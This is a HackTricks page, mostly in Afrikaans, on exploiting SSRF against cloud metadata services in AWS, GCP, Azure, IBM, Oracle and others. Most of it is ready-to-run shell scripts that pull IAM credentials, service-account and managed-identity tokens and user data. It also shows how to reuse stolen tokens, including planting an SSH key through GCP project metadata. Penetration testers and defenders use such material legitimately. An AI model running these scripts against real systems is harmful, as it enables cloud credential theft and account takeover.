Cloud SSRF
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.
AWS
Abusing SSRF in AWS EC2 environment
The metadata endpoint can be accessed from inside any EC2 machine and offers interesting information about it. It’s accesible in the url: http://169.254.169.254 (information about the metadata here).
There are 2 versions of the metadata endpoint. The first one allows to access the endpoint via GET requests (so any SSRF can exploit it). For the version 2, IMDSv2, you need to ask for a token sending a PUT request with a HTTP header and then use that token to access the metadata with another HTTP header (so it’s more complicated to abuse with a SSRF).
Caution
Note that if the EC2 instance is enforcing IMDSv2, according to the docs, the response of the PUT request will have a hop limit of 1, making impossible to access the EC2 metadata from a container inside the EC2 instance.
Moreover, IMDSv2 will also block requests to fetch a token that include the
X-Forwarded-Forheader. This is to prevent misconfigured reverse proxies from being able to access it.
You can find information about the metadata endpoints in the docs. In the following script some interesting information is obtained from it:
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
As ’n publiek beskikbare IAM credentials blootgestelde voorbeeld kan jy besoek: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
Jy kan ook publieke EC2 security credentials nagaan in: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Jy kan dan daardie credentials neem en dit met die AWS CLI gebruik. Dit sal jou toelaat om enigiets te doen waarvoor daardie role permissions het.
Om voordeel te trek uit die nuwe credentials, sal jy ’n nuwe AWS profile soos hierdie een moet skep:
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
Let op die aws_session_token, dit is onontbeerlik vir die profiel om te werk.
PACU kan gebruik word met die ontdekte credentials om jou privileges uit te vind en te probeer om privileges te eskaleer
SSRF in AWS ECS (Container Service) credentials
ECS, is ’n logiese groep EC2 instances waarop jy ’n application kan run sonder om jou eie cluster management infrastructure te hoef scale omdat ECS dit vir jou bestuur. As jy daarin slaag om ’n service wat in ECS run te compromise, verander die metadata endpoints.
As jy toegang kry tot http://169.254.170.2/v2/credentials/<GUID> sal jy die credentials van die ECS machine vind. Maar eers moet jy die <GUID> vind. Om die <GUID> te vind, moet jy die environ variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI binne die machine lees.
Jy kan dit dalk lees deur ’n Path Traversal te exploiteer na file:///proc/self/environ
Die genoemde http-adres behoort die AccessKey, SecretKey and token te gee.
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
Tip
Let daarop dat in sommige gevalle jy toegang tot die EC2 metadata instance vanaf die container sal kan kry (kontroleer die IMDSv2 TTL-beperkings wat vroeër genoem is). In hierdie scenario’s kan jy vanaf die container toegang kry tot beide die container IAM role en die EC2 IAM role.
SSRF in AWS EKS Pod Identity credentials
Onlangse EKS clusters kan Pod Identity gebruik in plaas van die ouer ECS-styl relative URI flow. In hierdie pods inject EKS:
AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentialsAWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
Daarom kan ’n SSRF/LFI wat in staat is om env vars of die geprojekteerde service account token file te lees, dikwels die pod IAM credentials herwin deur die local credential endpoint te query met die authorization token uit daardie file:
# Common discovery primitives
cat /proc/self/environ | tr '\\0' '\\n' | grep '^AWS_CONTAINER_'
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/
# Use the projected token to query the local Pod Identity credential endpoint
AUTH_HEADER=$(cat "$AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE")
curl -s -H "Authorization: $AUTH_HEADER" "$AWS_CONTAINER_CREDENTIALS_FULL_URI"
Dit is veral nuttig in EKS webhooks, templating services, of URL fetchers wat binne pods loop en ’n SSRF plus ’n local file read primitive blootstel. Die response bevat tydelike AWS credentials wat hergebruik kan word vanaf die AWS CLI of tooling soos Pacu.
SSRF for AWS Lambda
In this case is die credentials stored in env variables. So, om hulle te access, moet jy iets soos file:///proc/self/environ access.
Die name van die interesting env variables is:
AWS_SESSION_TOKENAWS_SECRET_ACCESS_KEYAWS_ACCESS_KEY_ID
Verder, benewens IAM credentials, het Lambda functions ook event data that is passed to the function when it is started. Hierdie data word vir die function beskikbaar gemaak via die runtime interface en kan sensitive information bevat (soos binne die stageVariables). Anders as IAM credentials, is hierdie data via standard SSRF toeganklik by http://localhost:9001/2018-06-01/runtime/invocation/next.
Warning
Let op dat lambda credentials binne die env variables is. So as die stack trace van die lambda code env vars print, is dit moontlik om hulle te exfiltrate deur ’n error in die app te provoceer.
SSRF URL for AWS Elastic Beanstalk
Ons retrieve die accountId en region vanaf die API.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Ons haal dan die AccessKeyId, SecretAccessKey, en Token van die API af.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Dan gebruik ons die credentials met aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.
GCP
Jy kan hier die docs oor metadata endpoints vind.
SSRF URL for Google Cloud
Vereis die HTTP header Metadata-Flavor: Google en jy kan die metadata endpoint bereik met die volgende URLs:
Interessante endpoints om inligting te onttrek:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
Beta vereis tans NIE ’n header nie (dankie Mathias Karlsson @avlidienbrunn)
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
Caution
Om die exfiltrated service account token te gebruik, kan jy net doen:
# Via env vars export CLOUDSDK_AUTH_ACCESS_TOKEN=<token> gcloud projects list # Via setup echo "<token>" > /some/path/to/token gcloud config set auth/access_token_file /some/path/to/token gcloud projects list gcloud config unset auth/access_token_file
Voeg ’n SSH key by
Extract the token
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
Kontroleer die scope van die token (met die vorige output of deur die volgende te run)
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
Druk nou die SSH-sleutel op.
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
Cloud Functions
Die metadata-endpoint werk dieselfde as in VMs, maar sonder sommige endpoints:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
Cloud Run / Cloud Functions 2nd gen
Vir Cloud Run en 2nd generation Cloud Functions is dit gewoonlik meer interessant om nie net die OAuth access token te steel nie, maar ook ’n audience-bound identity token van die metadata server. Dit is nuttig wanneer die gekompromitteerde workload private Cloud Run services, IAP-protected backends, of enige diens wat Google-uitgereikte ID tokens valideer, kan bereik.
# OAuth access token for the attached service account
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Audience-bound identity token
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://TARGET-REGION-PROJECT.run.app"
Tip
Die
identityendpoint vereis ’naudienceparameter. In regte engagements beteken dit gewoonlik dat, nadat jy SSRF teentokenbewys het, jy interne service URLs moet enumerate en dan ’n tweede token moet request met die presiese audience wat die target service verwag.
Digital Ocean
Warning
Daar is nie goed soos AWS Roles of GCP service account nie, so moenie verwag om metadata bot credentials te vind nie
Documentation available at https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
Azure
Azure VM
- Moet die header
Metadata: truebevat - Moet nie ’n
X-Forwarded-Forheader bevat nie
Tip
’n Azure VM kan 1 system managed identity en verskeie user managed identities aangeheg hê. Dit beteken basies dat jy alle managed identities wat aan ’n VM geheg is, kan impersonate.
Wanneer ’n access token na die metadata endpoint aangevra word, sal die metadata service by verstek die system assigned managed identity gebruik om die token te genereer, as daar enige system assigned managed identity is. In die geval waar daar net EEN user assigned managed identity is, sal dit by verstek gebruik word. As daar egter geen system assigned managed identity is nie en daar is veelvuldige user assigned managed identities, sal die metadata service ’n error teruggee wat aandui dat daar veelvuldige managed identities is en dat dit nodig is om te spesifiseer watter een om te gebruik.
Ongelukkig kon ek geen metadata endpoint vind wat al die MIs aandui wat ’n VM aangeheg het nie, so om al die assigned managed identities aan ’n VM uit te vind kan van ’n Red Team-perspektief ’n moeilike taak wees.
Daarom, om al die aangehegte MIs te vind kan jy:
- Kry attached identities met az cli (as jy reeds ’n principal in die Azure tenant gekompromitteer het met die permission
Microsoft.Compute/virtualMachines/read)az vm identity show \ --resource-group <rsc-group> \ --name <vm-name>
- Kry attached identities met die default attached MI in die metadata:
export API_VERSION="2021-12-13" # Get token from default MI export TOKEN=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \ | jq -r '.access_token') # Get needed details export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId') export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName') export VM_NAME=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name') # Try to get attached MIs curl -s -H "Authorization: Bearer $TOKEN" \ "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
- Kry al die gedefinieerde managed identities in die tenant en brute force om te sien of enige van hulle aan die VM geheg is (die permission
Microsoft.ManagedIdentity/userAssignedIdentities/readis nodig):az identity list
Caution
In die token requests gebruik enige van die parameters
object_id,client_idofmsi_res_idom die managed identity aan te dui wat jy wil gebruik (docs). As geen een gebruik word nie, sal die default MI gebruik word.
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
Warning
Let daarop dat die endpoint
http://169.254.169.254/metadata/v1/instanceinfonie dieMetadata: Trueheader vereis nie; dit is uitstekend om impak in SSRF vulnerabilities in Azure te demonstreer wanneer jy nie hierdie header kan byvoeg nie.
Azure App & Functions Services & Automation Accounts
Uit die env kan jy die waardes van IDENTITY_HEADER en IDENTITY_ENDPOINT kry. Jy kan dit gebruik om ’n token te kry om met die metadata server te praat.
Meeste van die tyd wil jy ’n token hê vir een van hierdie resources:
- https://storage.azure.com
- https://vault.azure.net
- https://graph.microsoft.com
- https://management.azure.com
Caution
In die token requests, gebruik enige van die parameters
object_id,client_idofmsi_res_idom die managed identity aan te dui wat jy wil gebruik (docs). As geen een gespesifiseer word nie, sal die default MI gebruik word.
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
IBM Cloud
Warning
Let daarop dat in IBM metadata by verstek nie geaktiveer is nie, so dit is moontlik dat jy nie toegang daartoe sal kry nie, selfs al is jy binne ’n IBM cloud VM
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Dokumentasie vir verskeie platforms se metadata services word hieronder uiteengesit, met die metodes waardeur konfigurasi- en runtime-inligting vir instances verkry kan word. Elke platform bied unieke endpoints om toegang tot sy metadata services te kry.
Packetcloud
Vir toegang tot Packetcloud se metadata, kan die dokumentasie gevind word by: https://metadata.packet.net/userdata
OpenStack/RackSpace
Die noodsaak van ’n header word nie genoem nie. Metadata kan verkry word deur:
http://169.254.169.254/openstack
HP Helion
Die noodsaak van ’n header word hier ook nie genoem nie. Metadata is toeganklik by:
http://169.254.169.254/2009-04-04/meta-data/
Oracle Cloud
Oracle Cloud Infrastructure het ’n IMDSv2 mode wat vandag baie meer relevant is as die legacy /latest/ voorbeelde. In IMDSv2:
- Requests gaan na
http://169.254.169.254/opc/v2/ - Requests moet die header
Authorization: Bearer Oracleinsluit - Requests met
Forwarded,X-Forwarded-For, ofX-Forwarded-Hostword verwerp - As die instance gekonfigureer is om slegs IMDSv2 toe te laat, gee die ou
/opc/v1en/openstackpaths404
Interessante endpoints:
curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/instance/
curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/vnics/
So, from an SSRF perspective, OCI now behaves much closer to the hardened cloud metadata services that require a mandatory header and explicitly reject common forwarded-header proxy patterns.
Alibaba
Alibaba bied endpoints vir toegang tot metadata, insluitend instance en image IDs:
http://100.100.100.200/latest/meta-data/http://100.100.100.200/latest/meta-data/instance-idhttp://100.100.100.200/latest/meta-data/image-id
Kubernetes ETCD
Kubernetes ETCD kan API keys, interne IP addresses, en ports bevat. Toegang word gedemonstreer deur:
curl -L http://127.0.0.1:2379/versioncurl http://127.0.0.1:2379/v2/keys/?recursive=true
Docker
Docker metadata kan plaaslik verkry word, met voorbeelde vir container- en image-inligtingherwinning:
- Simple example to access containers and images metadata via the Docker socket:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash- Inside the container, use curl with the Docker socket:
curl --unix-socket /var/run/docker.sock http://foo/containers/jsoncurl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher
Rancher’s metadata kan verkry word met:
curl http://rancher-metadata/<version>/<path>
References
- AWS SDKs and Tools Reference Guide - Container credential provider
- Oracle Cloud Infrastructure - Instance Metadata Service v2
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.


